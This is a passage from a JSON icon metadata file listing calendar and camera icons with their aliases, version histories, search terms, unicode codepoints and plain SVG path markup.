        "path": "M96 32V64H48C21.5 64 0 85.5 0 112v48H448V112c0-26.5-21.5-48-48-48H352V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V64H160V32c0-17.7-14.3-32-32-32S96 14.3 96 32zM448 192H0V464c0 26.5 21.5 48 48 48H400c26.5 0 48-21.5 48-48V192z"
      },
      "regular": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M152 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H64C28.7 64 0 92.7 0 128v16 48V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V192 144 128c0-35.3-28.7-64-64-64H344V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H152V24zM48 192H400V448c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V192z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M152 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H64C28.7 64 0 92.7 0 128v16 48V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V192 144 128c0-35.3-28.7-64-64-64H344V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H152V24zM48 192H400V448c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V192z"
      }
    },
    "free": ["regular", "solid"]
  },
  "calendar-check": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f274"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "accept",
        "agree",
        "appointment",
        "confirm",
        "correct",
        "date",
        "day",
        "done",
        "event",
        "month",
        "ok",
        "schedule",
        "select",
        "success",
        "tick",
        "time",
        "todo",
        "when",
        "year"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f274",
    "label": "Calendar Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M128 0c17.7 0 32 14.3 32 32V64H288V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H0V112C0 85.5 21.5 64 48 64H96V32c0-17.7 14.3-32 32-32zM0 192H448V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V192zM329 305c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-95 95-47-47c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l64 64c9.4 9.4 24.6 9.4 33.9 0L329 305z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M128 0c17.7 0 32 14.3 32 32V64H288V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H0V112C0 85.5 21.5 64 48 64H96V32c0-17.7 14.3-32 32-32zM0 192H448V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V192zM329 305c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-95 95-47-47c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l64 64c9.4 9.4 24.6 9.4 33.9 0L329 305z"
      },
      "regular": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M128 0c13.3 0 24 10.7 24 24V64H296V24c0-13.3 10.7-24 24-24s24 10.7 24 24V64h40c35.3 0 64 28.7 64 64v16 48V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V192 144 128C0 92.7 28.7 64 64 64h40V24c0-13.3 10.7-24 24-24zM400 192H48V448c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16V192zM329 297L217 409c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47 95-95c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M128 0c13.3 0 24 10.7 24 24V64H296V24c0-13.3 10.7-24 24-24s24 10.7 24 24V64h40c35.3 0 64 28.7 64 64v16 48V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V192 144 128C0 92.7 28.7 64 64 64h40V24c0-13.3 10.7-24 24-24zM400 192H48V448c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16V192zM329 297L217 409c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47 95-95c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"
      }
    },
    "free": ["regular", "solid"]
  },
  "calendar-day": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f783"]
      }
    },
    "changes": [
      "5.6.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "date",
        "day",
        "detail",
        "event",
        "focus",
        "month",
        "schedule",
        "single day",
        "time",
        "today",
        "when",
        "year"
      ]
    },
    "styles": ["solid"],
    "unicode": "f783",
    "label": "Calendar Day",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M128 0c17.7 0 32 14.3 32 32V64H288V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H0V112C0 85.5 21.5 64 48 64H96V32c0-17.7 14.3-32 32-32zM0 192H448V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V192zm80 64c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H80z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M128 0c17.7 0 32 14.3 32 32V64H288V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H0V112C0 85.5 21.5 64 48 64H96V32c0-17.7 14.3-32 32-32zM0 192H448V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V192zm80 64c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H80z"
      }
    },
    "free": ["solid"]
  },
  "calendar-days": {
    "aliases": {
      "names": ["calendar-alt"],
      "unicodes": {
        "secondary": ["10f073"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.6.0",
      "5.7.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "calendar",
        "date",
        "day",
        "event",
        "month",
        "schedule",
        "time",
        "when",
        "year"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f073",
    "label": "Calendar Days",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M128 0c17.7 0 32 14.3 32 32V64H288V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H0V112C0 85.5 21.5 64 48 64H96V32c0-17.7 14.3-32 32-32zM0 192H448V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V192zm64 80v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16zm128 0v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H208c-8.8 0-16 7.2-16 16zm144-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H336zM64 400v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V400c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16zm144-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V400c0-8.8-7.2-16-16-16H208zm112 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V400c0-8.8-7.2-16-16-16H336c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M128 0c17.7 0 32 14.3 32 32V64H288V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H0V112C0 85.5 21.5 64 48 64H96V32c0-17.7 14.3-32 32-32zM0 192H448V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V192zm64 80v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16zm128 0v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H208c-8.8 0-16 7.2-16 16zm144-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H336zM64 400v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V400c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16zm144-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V400c0-8.8-7.2-16-16-16H208zm112 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V400c0-8.8-7.2-16-16-16H336c-8.8 0-16 7.2-16 16z"
      },
      "regular": {
        "last_modified": 1684767328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M152 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H64C28.7 64 0 92.7 0 128v16 48V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V192 144 128c0-35.3-28.7-64-64-64H344V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H152V24zM48 192h80v56H48V192zm0 104h80v64H48V296zm128 0h96v64H176V296zm144 0h80v64H320V296zm80-48H320V192h80v56zm0 160v40c0 8.8-7.2 16-16 16H320V408h80zm-128 0v56H176V408h96zm-144 0v56H64c-8.8 0-16-7.2-16-16V408h80zM272 248H176V192h96v56z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M152 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H64C28.7 64 0 92.7 0 128v16 48V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V192 144 128c0-35.3-28.7-64-64-64H344V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H152V24zM48 192h80v56H48V192zm0 104h80v64H48V296zm128 0h96v64H176V296zm144 0h80v64H320V296zm80-48H320V192h80v56zm0 160v40c0 8.8-7.2 16-16 16H320V408h80zm-128 0v56H176V408h96zm-144 0v56H64c-8.8 0-16-7.2-16-16V408h80zM272 248H176V192h96v56z"
      }
    },
    "free": ["regular", "solid"]
  },
  "calendar-minus": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f272"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "calendar",
        "date",
        "day",
        "delete",
        "event",
        "month",
        "negative",
        "remove",
        "schedule",
        "time",
        "when",
        "year"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f272",
    "label": "Calendar Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 0c17.7 0 32 14.3 32 32V64H320V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H32V112c0-26.5 21.5-48 48-48h48V32c0-17.7 14.3-32 32-32zM32 192H480V464c0 26.5-21.5 48-48 48H80c-26.5 0-48-21.5-48-48V192zM344 376c13.3 0 24-10.7 24-24s-10.7-24-24-24H168c-13.3 0-24 10.7-24 24s10.7 24 24 24H344z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160 0c17.7 0 32 14.3 32 32V64H320V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H32V112c0-26.5 21.5-48 48-48h48V32c0-17.7 14.3-32 32-32zM32 192H480V464c0 26.5-21.5 48-48 48H80c-26.5 0-48-21.5-48-48V192zM344 376c13.3 0 24-10.7 24-24s-10.7-24-24-24H168c-13.3 0-24 10.7-24 24s10.7 24 24 24H344z"
      },
      "regular": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 0c13.3 0 24 10.7 24 24V64H328V24c0-13.3 10.7-24 24-24s24 10.7 24 24V64h40c35.3 0 64 28.7 64 64v16 48V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V192 144 128c0-35.3 28.7-64 64-64h40V24c0-13.3 10.7-24 24-24zM432 192H80V448c0 8.8 7.2 16 16 16H416c8.8 0 16-7.2 16-16V192zM328 352H184c-13.3 0-24-10.7-24-24s10.7-24 24-24H328c13.3 0 24 10.7 24 24s-10.7 24-24 24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160 0c13.3 0 24 10.7 24 24V64H328V24c0-13.3 10.7-24 24-24s24 10.7 24 24V64h40c35.3 0 64 28.7 64 64v16 48V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V192 144 128c0-35.3 28.7-64 64-64h40V24c0-13.3 10.7-24 24-24zM432 192H80V448c0 8.8 7.2 16 16 16H416c8.8 0 16-7.2 16-16V192zM328 352H184c-13.3 0-24-10.7-24-24s10.7-24 24-24H328c13.3 0 24 10.7 24 24s-10.7 24-24 24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "calendar-plus": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f271"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "add",
        "calendar",
        "create",
        "date",
        "day",
        "event",
        "month",
        "new",
        "positive",
        "schedule",
        "time",
        "when",
        "year"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f271",
    "label": "Calendar Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M128 32V64H80c-26.5 0-48 21.5-48 48v48H480V112c0-26.5-21.5-48-48-48H384V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V64H192V32c0-17.7-14.3-32-32-32s-32 14.3-32 32zM480 192H32V464c0 26.5 21.5 48 48 48H432c26.5 0 48-21.5 48-48V192zM256 248c13.3 0 24 10.7 24 24v56h56c13.3 0 24 10.7 24 24s-10.7 24-24 24H280v56c0 13.3-10.7 24-24 24s-24-10.7-24-24V376H176c-13.3 0-24-10.7-24-24s10.7-24 24-24h56V272c0-13.3 10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M128 32V64H80c-26.5 0-48 21.5-48 48v48H480V112c0-26.5-21.5-48-48-48H384V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V64H192V32c0-17.7-14.3-32-32-32s-32 14.3-32 32zM480 192H32V464c0 26.5 21.5 48 48 48H432c26.5 0 48-21.5 48-48V192zM256 248c13.3 0 24 10.7 24 24v56h56c13.3 0 24 10.7 24 24s-10.7 24-24 24H280v56c0 13.3-10.7 24-24 24s-24-10.7-24-24V376H176c-13.3 0-24-10.7-24-24s10.7-24 24-24h56V272c0-13.3 10.7-24 24-24z"
      },
      "regular": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M184 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H96c-35.3 0-64 28.7-64 64v16 48V448c0 35.3 28.7 64 64 64H416c35.3 0 64-28.7 64-64V192 144 128c0-35.3-28.7-64-64-64H376V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H184V24zM80 192H432V448c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V192zm176 40c-13.3 0-24 10.7-24 24v48H184c-13.3 0-24 10.7-24 24s10.7 24 24 24h48v48c0 13.3 10.7 24 24 24s24-10.7 24-24V352h48c13.3 0 24-10.7 24-24s-10.7-24-24-24H280V256c0-13.3-10.7-24-24-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M184 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H96c-35.3 0-64 28.7-64 64v16 48V448c0 35.3 28.7 64 64 64H416c35.3 0 64-28.7 64-64V192 144 128c0-35.3-28.7-64-64-64H376V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H184V24zM80 192H432V448c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V192zm176 40c-13.3 0-24 10.7-24 24v48H184c-13.3 0-24 10.7-24 24s10.7 24 24 24h48v48c0 13.3 10.7 24 24 24s24-10.7 24-24V352h48c13.3 0 24-10.7 24-24s-10.7-24-24-24H280V256c0-13.3-10.7-24-24-24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "calendar-week": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f784"]
      }
    },
    "changes": [
      "5.6.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "date",
        "day",
        "detail",
        "event",
        "focus",
        "month",
        "schedule",
        "single week",
        "time",
        "today",
        "when",
        "year"
      ]
    },
    "styles": ["solid"],
    "unicode": "f784",
    "label": "Calendar Week",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M128 0c17.7 0 32 14.3 32 32V64H288V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H0V112C0 85.5 21.5 64 48 64H96V32c0-17.7 14.3-32 32-32zM0 192H448V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V192zm80 64c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16H368c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H80z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M128 0c17.7 0 32 14.3 32 32V64H288V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H0V112C0 85.5 21.5 64 48 64H96V32c0-17.7 14.3-32 32-32zM0 192H448V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V192zm80 64c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16H368c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H80z"
      }
    },
    "free": ["solid"]
  },
  "calendar-xmark": {
    "aliases": {
      "names": ["calendar-times"],
      "unicodes": {
        "secondary": ["10f273"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "archive",
        "calendar",
        "date",
        "day",
        "delete",
        "event",
        "month",
        "remove",
        "schedule",
        "time",
        "when",
        "x",
        "year"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f273",
    "label": "Calendar Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 0c17.7 0 32 14.3 32 32V64H320V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H32V112c0-26.5 21.5-48 48-48h48V32c0-17.7 14.3-32 32-32zM32 192H480V464c0 26.5-21.5 48-48 48H80c-26.5 0-48-21.5-48-48V192zM337 305c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-47 47-47-47c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l47 47-47 47c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l47-47 47 47c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-47-47 47-47z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160 0c17.7 0 32 14.3 32 32V64H320V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H32V112c0-26.5 21.5-48 48-48h48V32c0-17.7 14.3-32 32-32zM32 192H480V464c0 26.5-21.5 48-48 48H80c-26.5 0-48-21.5-48-48V192zM337 305c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-47 47-47-47c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l47 47-47 47c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l47-47 47 47c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-47-47 47-47z"
      },
      "regular": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 0c13.3 0 24 10.7 24 24V64H328V24c0-13.3 10.7-24 24-24s24 10.7 24 24V64h40c35.3 0 64 28.7 64 64v16 48V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V192 144 128c0-35.3 28.7-64 64-64h40V24c0-13.3 10.7-24 24-24zM432 192H80V448c0 8.8 7.2 16 16 16H416c8.8 0 16-7.2 16-16V192zm-95 89l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160 0c13.3 0 24 10.7 24 24V64H328V24c0-13.3 10.7-24 24-24s24 10.7 24 24V64h40c35.3 0 64 28.7 64 64v16 48V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V192 144 128c0-35.3 28.7-64 64-64h40V24c0-13.3 10.7-24 24-24zM432 192H80V448c0 8.8 7.2 16 16 16H416c8.8 0 16-7.2 16-16V192zm-95 89l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"
      }
    },
    "free": ["regular", "solid"]
  },
  "camera": {
    "aliases": {
      "names": ["camera-alt"],
      "unicodes": {
        "composite": ["f332"],
        "primary": ["f332"],
        "secondary": ["10f030", "10f332"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "image",
        "lens",
        "photo",
        "picture",
        "record",
        "shutter",
        "video"
      ]
    },
    "styles": ["solid"],
    "unicode": "f030",
    "label": "Camera",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M149.1 64.8L138.7 96H64C28.7 96 0 124.7 0 160V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H373.3L362.9 64.8C356.4 45.2 338.1 32 317.4 32H194.6c-20.7 0-39 13.2-45.5 32.8zM256 192a96 96 0 1 1 0 192 96 96 0 1 1 0-192z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M149.1 64.8L138.7 96H64C28.7 96 0 124.7 0 160V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H373.3L362.9 64.8C356.4 45.2 338.1 32 317.4 32H194.6c-20.7 0-39 13.2-45.5 32.8zM256 192a96 96 0 1 1 0 192 96 96 0 1 1 0-192z"
      }
    },
    "free": ["solid"]
  },
  "camera-retro": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4f7"],
        "secondary": ["10f083"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "camera",
        "image",
        "lens",
        "photo",
        "picture",
        "record",
        "shutter",
        "video"
      ]
    },
    "styles": ["solid"],
    "unicode": "f083",
    "label": "Camera Retro",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M220.6 121.2L271.1 96 448 96v96H333.2c-21.9-15.1-48.5-24-77.2-24s-55.2 8.9-77.2 24H64V128H192c9.9 0 19.7-2.3 28.6-6.8zM0 128V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H271.1c-9.9 0-19.7 2.3-28.6 6.8L192 64H160V48c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16l0 16C28.7 64 0 92.7 0 128zM168 304a88 88 0 1 1 176 0 88 88 0 1 1 -176 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M220.6 121.2L271.1 96 448 96v96H333.2c-21.9-15.1-48.5-24-77.2-24s-55.2 8.9-77.2 24H64V128H192c9.9 0 19.7-2.3 28.6-6.8zM0 128V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H271.1c-9.9 0-19.7 2.3-28.6 6.8L192 64H160V48c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16l0 16C28.7 64 0 92.7 0 128zM168 304a88 88 0 1 1 176 0 88 88 0 1 1 -176 0z"
      }
    },
    "free": ["solid"]
  },
  "camera-rotate": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["flip", "front-facing", "photo", "selfie"]
    },
    "styles": ["solid"],
    "unicode": "e0d8",
    "label": "Camera Rotate",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M213.1 64.8L202.7 96H128c-35.3 0-64 28.7-64 64V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H437.3L426.9 64.8C420.4 45.2 402.1 32 381.4 32H258.6c-20.7 0-39 13.2-45.5 32.8zM448 256c0 8.8-7.2 16-16 16H355.3c-6.2 0-11.3-5.1-11.3-11.3c0-3 1.2-5.9 3.3-8L371 229c-13.6-13.4-31.9-21-51-21c-19.2 0-37.7 7.6-51.3 21.3L249 249c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l19.7-19.7C257.4 172.7 288 160 320 160c31.8 0 62.4 12.6 85 35l23.7-23.7c2.1-2.1 5-3.3 8-3.3c6.2 0 11.3 5.1 11.3 11.3V256zM192 320c0-8.8 7.2-16 16-16h76.7c6.2 0 11.3 5.1 11.3 11.3c0 3-1.2 5.9-3.3 8L269 347c13.6 13.4 31.9 21 51 21c19.2 0 37.7-7.6 51.3-21.3L391 327c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-19.7 19.7C382.6 403.3 352 416 320 416c-31.8 0-62.4-12.6-85-35l-23.7 23.7c-2.1 2.1-5 3.3-8 3.3c-6.2 0-11.3-5.1-11.3-11.3V320z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
